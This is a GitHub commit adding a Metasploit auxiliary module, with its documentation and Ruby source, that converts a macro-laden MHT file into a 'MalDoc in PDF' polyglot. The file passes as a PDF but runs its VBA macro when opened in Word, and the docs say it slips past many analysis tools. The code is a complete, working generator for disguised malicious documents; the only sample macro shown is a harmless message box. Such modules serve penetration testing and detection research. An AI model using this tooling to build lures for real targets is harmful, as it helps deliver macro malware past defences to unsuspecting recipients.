Skip to content

Commit 0f52222

Browse files
authored
Land rapid7#20072, adds Maldoc in PDF fileformat module
Add Maldoc in PDF polyglot fileformat module
2 parents ab57ec1 + 144cfd2 commit 0f52222

File tree

2 files changed

+317
-0
lines changed

2 files changed

+317
-0
lines changed
Lines changed: 101 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,101 @@
1+
## Vulnerable Application
2+
3+
The technique is called "MalDoc in PDF". This technique hides malicious Word documents in PDF files,
4+
which is why malicious code contained in them cannot be detected by many analysis tools.
5+
6+
The document can be opened in both Microsoft Word and a PDF reader.
7+
8+
However, for the macro to run, you must open this document in Microsoft Word. The attack does not bypass
9+
configured macro locks. The malicious macros are also not executed when the file is opened in PDF readers
10+
or similar software.
11+
12+
### Introduction
13+
14+
A malicious MHT file created can be opened in Microsoft Word even though it has magic numbers and file
15+
structure of PDF.
16+
17+
If the file has configured macro, by opening it in Microsoft Word, VBS runs and performs malicious behaviors.
18+
19+
## For Testing
20+
21+
You create a `Single File Web Page (*.mht, *.mhtml)` file containing a VBS macro. For testing, you can use the
22+
following macro:
23+
24+
```
25+
Sub AutoOpen()
26+
MsgBox "Macro executed successfully!", vbInformation, "Information"
27+
End Sub
28+
```
29+
30+
## Verification Steps
31+
32+
1. Start msfconsole
33+
2. Do: `auxiliary/fileformat/maldoc_in_pdf_polyglot`
34+
3. Do: `set FILENAME /tmp/macro.htm`
35+
4. Do: `run`
36+
37+
## Options
38+
39+
### FILENAME
40+
41+
The input MHT filename with macro embedded.
42+
43+
### INJECTED_PDF
44+
45+
The input PDF filename to be injected. (optional)
46+
47+
### MESSAGE_PDF
48+
49+
The message to display in the local PDF template (if INJECTED_PDF is NOT used). Default: You must open this document in Microsoft Word
50+
51+
## Scenarios
52+
53+
### Create without PDF template
54+
55+
```
56+
msf6 auxiliary(fileformat/maldoc_in_pdf_polyglot) > options
57+
58+
Module options (auxiliary/fileformat/maldoc_in_pdf_polyglot):
59+
60+
Name Current Setting Required Description
61+
---- --------------- -------- -----------
62+
FILENAME /tmp/macro.mht yes The input MHT filename with macro embedded
63+
INJECTED_PDF no The input PDF filename to be injected (optional)
64+
MESSAGE_PDF You must open this document in Microsoft Word no The message to display in the local PDF template (if INJECTED_PDF is NOT used)
65+
66+
View the full module info with the info, or info -d command.
67+
68+
msf6 auxiliary(fileformat/maldoc_in_pdf_polyglot) > run
69+
[*] PDF creation using local template
70+
[+] The file 'macro.doc' is stored at '/home/mekhalleh/.msf4/local/macro.doc'
71+
[*] Auxiliary module execution completed
72+
```
73+
74+
### Create using PDF template
75+
76+
```
77+
msf6 auxiliary(fileformat/maldoc_in_pdf_polyglot) > options
78+
79+
Module options (auxiliary/fileformat/maldoc_in_pdf_polyglot):
80+
81+
Name Current Setting Required Description
82+
---- --------------- -------- -----------
83+
FILENAME /tmp/macro.mht yes The input MHT filename with macro embedded
84+
INJECTED_PDF /tmp/injected.pdf no The input PDF filename to be injected (optional)
85+
MESSAGE_PDF You must open this document in Microsoft Word no The message to display in the local PDF template (if INJECTED_PDF is NOT used)
86+
87+
88+
View the full module info with the info, or info -d command.
89+
90+
msf6 auxiliary(fileformat/maldoc_in_pdf_polyglot) > run
91+
[*] PDF creation using 'injected.pdf' as template
92+
[+] The file 'macro.doc' is stored at '/home/mekhalleh/.msf4/local/macro.doc'
93+
[*] Auxiliary module execution completed
94+
```
95+
96+
## References
97+
98+
1. <https://blogs.jpcert.or.jp/en/2023/08/maldocinpdf.html>
99+
2. <https://socradar.io/maldoc-in-pdf-a-novel-method-to-distribute-malicious-macros/>
100+
3. <https://www.nospamproxy.de/en/maldoc-in-pdf-danger-from-word-files-hidden-in-pdfs/>
101+
4. <https://github.com/exa-offsec/maldoc_in_pdf_polyglot/tree/main/demo>
Lines changed: 216 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,216 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Auxiliary
7+
include Msf::Exploit::FILEFORMAT
8+
9+
def initialize(info = {})
10+
super(
11+
update_info(
12+
info,
13+
'Name' => 'Maldoc in PDF Polyglot converter',
14+
'Description' => %q{
15+
A malicious MHT file created can be opened in Microsoft Word even though it has magic numbers and file
16+
structure of PDF.
17+
18+
If the file has configured macro, by opening it in Microsoft Word, VBS runs and performs malicious behaviors.
19+
20+
The attack does not bypass configured macro locks. And the malicious macros are also not executed when the
21+
file is opened in PDF readers or similar software.
22+
},
23+
'License' => MSF_LICENSE,
24+
'Author' => [
25+
'mekhalleh (RAMELLA Sebastien)' # module author powered by EXA Reunion (https://www.exa.re/)
26+
],
27+
'Platform' => ['win'],
28+
'References' => [
29+
['URL', 'https://blogs.jpcert.or.jp/en/2023/08/maldocinpdf.html'],
30+
['URL', 'https://socradar.io/maldoc-in-pdf-a-novel-method-to-distribute-malicious-macros/'],
31+
['URL', 'https://www.nospamproxy.de/en/maldoc-in-pdf-danger-from-word-files-hidden-in-pdfs/'],
32+
['URL', 'https://github.com/exa-offsec/maldoc_in_pdf_polyglot/tree/main/demo']
33+
],
34+
'Notes' => {
35+
'Stability' => [CRASH_SAFE],
36+
'Reliability' => [],
37+
'SideEffects' => [ARTIFACTS_ON_DISK]
38+
}
39+
)
40+
)
41+
42+
register_options(
43+
[
44+
OptPath.new('FILENAME', [true, 'The input MHT filename with macro embedded']),
45+
OptPath.new('INJECTED_PDF', [false, 'The input PDF filename to inject in (optional)']),
46+
OptString.new('MESSAGE_PDF', [false, 'The message to display in the local PDF template (if INJECTED_PDF is NOT used)', 'You must open this document in Microsoft Word']),
47+
OptEnum.new('OUTPUT_EXT', [true, 'The output file extension', '.doc', ['.doc', '.rtf']])
48+
]
49+
)
50+
end
51+
52+
def create_pdf(mht)
53+
pdf = ''
54+
pdf << "#{rand_pdfheader}\r\n"
55+
56+
# item 1 (catalog)
57+
pdf << "1 0 obj\r\n"
58+
pdf << "<< /Type /Catalog /Pages 2 0 R >>\r\n"
59+
pdf << "endobj\r\n"
60+
61+
# item 2 (pages)
62+
pdf << "2 0 obj\r\n"
63+
pdf << "<< /Type /Pages /Kids [3 0 R] /Count 1 >>\r\n"
64+
pdf << "endobj\r\n"
65+
66+
# item 3 (page with resources)
67+
pdf << "3 0 obj\r\n"
68+
pdf << "<< /Type /Page /Parent 2 0 R /Resources << /Font << /F1 5 0 R >> >> /MediaBox [0 0 612 792] /Contents 4 0 R >>\r\n"
69+
pdf << "endobj\r\n"
70+
71+
# item 4 (content)
72+
content = "BT /F1 12 Tf 100 700 Td (#{datastore['MESSAGE_PDF']}) Tj ET\r\n"
73+
pdf << "4 0 obj\r\n"
74+
# exact stream length
75+
pdf << "<< /Length #{content.length} >>\r\n"
76+
pdf << "stream\r\n"
77+
pdf << content
78+
pdf << "endstream\r\n"
79+
pdf << "endobj\r\n"
80+
81+
# item 5 (helvetica font)
82+
pdf << "5 0 obj\r\n"
83+
pdf << "<< /Type /Font /Subtype /Type1 /BaseFont /Helvetica >>\r\n"
84+
pdf << "endobj\r\n"
85+
86+
# item 6 (MHT content)
87+
pdf << "6 0 obj\r\n"
88+
pdf << "<< /Length #{mht.length} >>\r\n"
89+
pdf << "stream\r\n"
90+
pdf << mht
91+
pdf << "\r\nendstream\r\n"
92+
pdf << "endobj\r\n"
93+
94+
# calculation of dynamic offsets
95+
offsets = []
96+
offsets << 0
97+
for i in 1..6 do
98+
offsets << pdf.index("#{i} 0 obj")
99+
end
100+
101+
# XREF section
102+
xref_start = pdf.length
103+
pdf << "xref\r\n"
104+
# update for 7 objects (0-6)
105+
pdf << "0 7\r\n"
106+
pdf << "0000000000 65535 f\r\n"
107+
offsets[1..].each do |offset|
108+
pdf << format("%010d 00000 n\r\n", offset)
109+
end
110+
111+
# trailer
112+
pdf << "trailer\r\n"
113+
# update for 7 objects (0-6)
114+
pdf << "<< /Size 7 /Root 1 0 R >>\r\n"
115+
pdf << "startxref\r\n"
116+
pdf << "#{xref_start}\r\n"
117+
pdf << "%%EOF\r\n"
118+
119+
# saving the file
120+
ltype = "auxiliary.fileformat.#{shortname}"
121+
fname = File.basename(datastore['FILENAME'], '*') + datastore['OUTPUT_EXT']
122+
path = store_local(ltype, nil, pdf, fname)
123+
124+
print_good("The file '#{fname}' is stored at '#{path}'")
125+
end
126+
127+
def inject_pdf(pdf_path, mht)
128+
# read PDF in binary mode
129+
pdf_data = File.binread(pdf_path)
130+
vprint_status("PDF data length: #{pdf_data.length}")
131+
132+
# find the position of 'startxref'
133+
startxref_index = pdf_data.rindex('startxref')
134+
unless startxref_index
135+
fail_with(Failure::Unknown, 'Invalid PDF: \'startxref\' not found')
136+
end
137+
138+
xref_start_value = pdf_data[startxref_index..].match(/startxref\r?\n(\d+)/)[1].to_i
139+
vprint_status("PDF startxref value: #{xref_start_value}")
140+
vprint_status("PDF startxref position: #{startxref_index}")
141+
142+
# extract the original objects
143+
original_objects = pdf_data[0...startxref_index]
144+
145+
# build the MHT object as the first object (0 0 obj)
146+
mht_object = ''
147+
mht_object << "0 0 obj\r\n"
148+
mht_object << "<< /Length #{mht.length} >>\r\n"
149+
mht_object << "stream\r\n"
150+
mht_object << mht
151+
mht_object << "\r\nendstream\r\n"
152+
mht_object << "endobj\r\n"
153+
154+
# combine: MHT first, then original items
155+
updated_objects = mht_object + original_objects
156+
157+
# calculate offsets for XREF section
158+
offsets = []
159+
updated_objects.scan(/(\d+) 0 obj/) do |match|
160+
offsets << updated_objects.index("#{match[0]} 0 obj")
161+
end
162+
163+
# build the XREF section
164+
xref = "xref\r\n"
165+
# includes free entry (0) and items
166+
xref << "0 #{offsets.size + 1}\r\n"
167+
# free entry
168+
xref << "0000000000 65535 f\r\n"
169+
offsets.each do |offset|
170+
xref << format("%010d 00000 n\r\n", offset)
171+
end
172+
173+
# build the trailer
174+
xref_start_new = updated_objects.length
175+
trailer = "trailer\r\n"
176+
trailer << "<< /Size #{offsets.size + 1} /Root 1 0 R >>\r\n"
177+
trailer << "startxref\r\n"
178+
trailer << "#{xref_start_new}\r\n"
179+
trailer << "%%EOF\r\n"
180+
181+
# assemble the final PDF
182+
headers = "#{rand_pdfheader}\r\n"
183+
pdf = headers + updated_objects + xref + trailer
184+
185+
# saving the file
186+
ltype = "auxiliary.fileformat.#{shortname}"
187+
fname = File.basename(datastore['FILENAME'], '*') + datastore['OUTPUT_EXT']
188+
path = store_local(ltype, nil, pdf, fname)
189+
190+
print_good("The file '#{fname}' is stored at '#{path}'")
191+
end
192+
193+
def rand_pdfheader
194+
selected_version = ['1.0', '1.1', '1.2', '1.3', '1.4', '1.5', '1.6', '1.7', '2.0'].sample
195+
196+
"%PDF-#{selected_version}"
197+
end
198+
199+
def run
200+
content = File.read(datastore['FILENAME'])
201+
fail_with(Failure::BadConfig, 'The MHT file content is empty') if content&.empty?
202+
203+
# if no pdf injected is provided, create new PDF from template
204+
if datastore['INJECTED_PDF'].blank?
205+
print_status('INJECTED_PDF not provided, creating the PDF from scratch')
206+
fail_with(Failure::BadConfig, 'No MESSAGE_PDF provided') if datastore['MESSAGE_PDF'].blank?
207+
208+
create_pdf(content)
209+
else
210+
print_status("PDF creation using '#{File.basename(datastore['INJECTED_PDF'])}' as template")
211+
212+
inject_pdf(datastore['INJECTED_PDF'], content)
213+
end
214+
end
215+
216+
end

0 commit comments

Comments
 (0)